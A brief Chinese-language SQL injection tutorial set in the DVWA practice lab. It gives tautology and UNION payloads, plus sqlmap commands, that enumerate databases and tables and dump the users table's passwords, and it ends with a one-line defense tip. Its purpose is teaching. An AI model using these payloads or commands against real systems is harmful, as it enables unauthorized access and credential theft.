SQL隱碼攻擊
SQL隱碼攻擊也叫SQL注碼,發生於應用程式與資料庫層的安全漏洞。在設計的不良程式中,忽略了字串檢查,那麼這些注入的惡意指令就會被資料庫伺服器誤認為是正常的SQL指令而執行。
例如
查詢使用者的SQL語句
select first_name,last_name from users where user_id='1' and 1=1#'
select first_name,last_name from users where user_id='1' or 1=1#'
斜體表示輸入的內容,1總是等於1所以會被查詢出來全部,#表示去掉後面有影響的SQL
怎麼利用SQL隱碼攻擊漏洞
- 判斷列數/欄位數 order by [column_num]
- select first_name,last_name from users where user_id='1' order by 1#'
- 如果第一列存在肯定有輸出,依次增加order by 的Num
- select first_name,last_name from users where user_id='1' union select user(),database()#'顯示當前資料庫連線使用者和資料庫名稱
- select first_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#'
- 發現有users表,找到users表
- select first_name,last_name from users where user_id='1' union select user,password from users#'
SQLMap
- 官網sqlmap.org
- sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" --dbs 獲取所有資料庫名稱
- sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa --tables 獲取資料庫中的所有表 -D表示資料庫
- sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --columns 獲取users表中的所有列
- sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --dump 獲取users表中的所有資料,後續可以選擇是否破解密碼
防禦
過濾手動輸入的內容,不讓輸入SQL語句